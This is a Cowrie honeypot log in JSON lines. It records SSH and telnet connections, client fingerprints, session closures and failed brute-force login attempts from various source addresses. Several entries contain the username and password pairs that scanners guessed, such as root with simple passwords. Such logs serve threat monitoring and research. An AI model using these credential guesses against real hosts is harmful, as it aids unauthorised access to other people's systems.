{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.305062Z","src_ip":"78.44.192.210","session":"242855fcbe47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Qwer","message":"login attempt [root/1234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.565577Z","src_ip":"40.83.182.122","session":"9d53266a34c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpsuser","password":"root","message":"login attempt [vpsuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.784344Z","src_ip":"78.44.192.210","session":"242855fcbe47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:49.651468Z","src_ip":"40.83.182.122","session":"9d53266a34c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:49.897176Z","src_ip":"78.44.192.210","session":"242855fcbe47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00129294395447,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:49.919665Z","src_ip":"79.139.59.21","session":"31c29206321c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":41754,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc7c0a061c8b","protocol":"ssh","message":"New connection: 147.45.197.250:41754 (159.203.135.109:22) [session: bc7c0a061c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:05.068377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:05.073746Z","src_ip":"147.45.197.250","session":"bc7c0a061c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:05.169592Z","src_ip":"147.45.197.250","session":"bc7c0a061c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nature","message":"login attempt [root/nature] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:05.441060Z","src_ip":"147.45.197.250","session":"bc7c0a061c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:06.534261Z","src_ip":"147.45.197.250","session":"bc7c0a061c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37512,"dst_ip":"159.203.135.109","dst_port":22,"session":"c97be47545fd","protocol":"ssh","message":"New connection: 62.133.63.178:37512 (159.203.135.109:22) [session: c97be47545fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:42.639957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:42.645346Z","src_ip":"62.133.63.178","session":"c97be47545fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:42.770339Z","src_ip":"62.133.63.178","session":"c97be47545fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sidorova","message":"login attempt [root/sidorova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:43.140501Z","src_ip":"62.133.63.178","session":"c97be47545fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:44.268840Z","src_ip":"62.133.63.178","session":"c97be47545fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":51162,"dst_ip":"10.17.0.5","dst_port":22,"session":"576c871a62ba","protocol":"ssh","message":"New connection: 185.236.22.41:51162 (10.17.0.5:22) [session: 576c871a62ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:53.983387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:53.988891Z","src_ip":"185.236.22.41","session":"576c871a62ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:54.108725Z","src_ip":"185.236.22.41","session":"576c871a62ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"301090","message":"login attempt [root/301090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:54.469085Z","src_ip":"185.236.22.41","session":"576c871a62ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:45:55.608000Z","src_ip":"185.236.22.41","session":"576c871a62ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":40162,"dst_ip":"10.17.0.5","dst_port":22,"session":"538b5d1682a9","protocol":"ssh","message":"New connection: 103.77.242.62:40162 (10.17.0.5:22) [session: 538b5d1682a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:09.816579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:09.821950Z","src_ip":"103.77.242.62","session":"538b5d1682a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:10.074645Z","src_ip":"103.77.242.62","session":"538b5d1682a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cardinal","message":"login attempt [root/cardinal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:10.833712Z","src_ip":"103.77.242.62","session":"538b5d1682a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:12.090712Z","src_ip":"103.77.242.62","session":"538b5d1682a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":49080,"dst_ip":"10.17.0.5","dst_port":22,"session":"568a0cda0d8f","protocol":"ssh","message":"New connection: 78.44.192.210:49080 (10.17.0.5:22) [session: 568a0cda0d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:26.555018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:26.560447Z","src_ip":"78.44.192.210","session":"568a0cda0d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:26.675341Z","src_ip":"78.44.192.210","session":"568a0cda0d8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"123","message":"login attempt [gitlab/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:27.138234Z","src_ip":"78.44.192.210","session":"568a0cda0d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:28.252204Z","src_ip":"78.44.192.210","session":"568a0cda0d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":60944,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5566b90cfd5","protocol":"ssh","message":"New connection: 40.83.182.122:60944 (10.17.0.5:22) [session: b5566b90cfd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:32.818474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:32.823481Z","src_ip":"40.83.182.122","session":"b5566b90cfd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:32.905345Z","src_ip":"40.83.182.122","session":"b5566b90cfd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890987654321","message":"login attempt [root/1234567890987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:33.263722Z","src_ip":"40.83.182.122","session":"b5566b90cfd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:46:34.348240Z","src_ip":"40.83.182.122","session":"b5566b90cfd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.108","src_port":25312,"dst_ip":"159.203.135.109","dst_port":23,"session":"4132eb5a9bf0","protocol":"telnet","message":"New connection: 65.49.1.108:25312 (159.203.135.109:23) [session: 4132eb5a9bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:47:42.850716Z"}
{"eventid":"cowrie.session.closed","duration":2.077484130859375,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:47:44.928105Z","src_ip":"65.49.1.108","session":"4132eb5a9bf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":46674,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a63349e47e3","protocol":"ssh","message":"New connection: 78.44.192.210:46674 (10.17.0.5:22) [session: 4a63349e47e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:03.256313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:03.270973Z","src_ip":"78.44.192.210","session":"4a63349e47e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:03.381860Z","src_ip":"78.44.192.210","session":"4a63349e47e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:03.863067Z","src_ip":"78.44.192.210","session":"4a63349e47e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:04.978568Z","src_ip":"78.44.192.210","session":"4a63349e47e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":52264,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5f67c0d759","protocol":"ssh","message":"New connection: 40.83.182.122:52264 (10.17.0.5:22) [session: 8f5f67c0d759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:15.255891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:48:15.262992Z","src_ip":"40.83.182.122","session":"8f5f67c0d759","protocol":"ssh"}
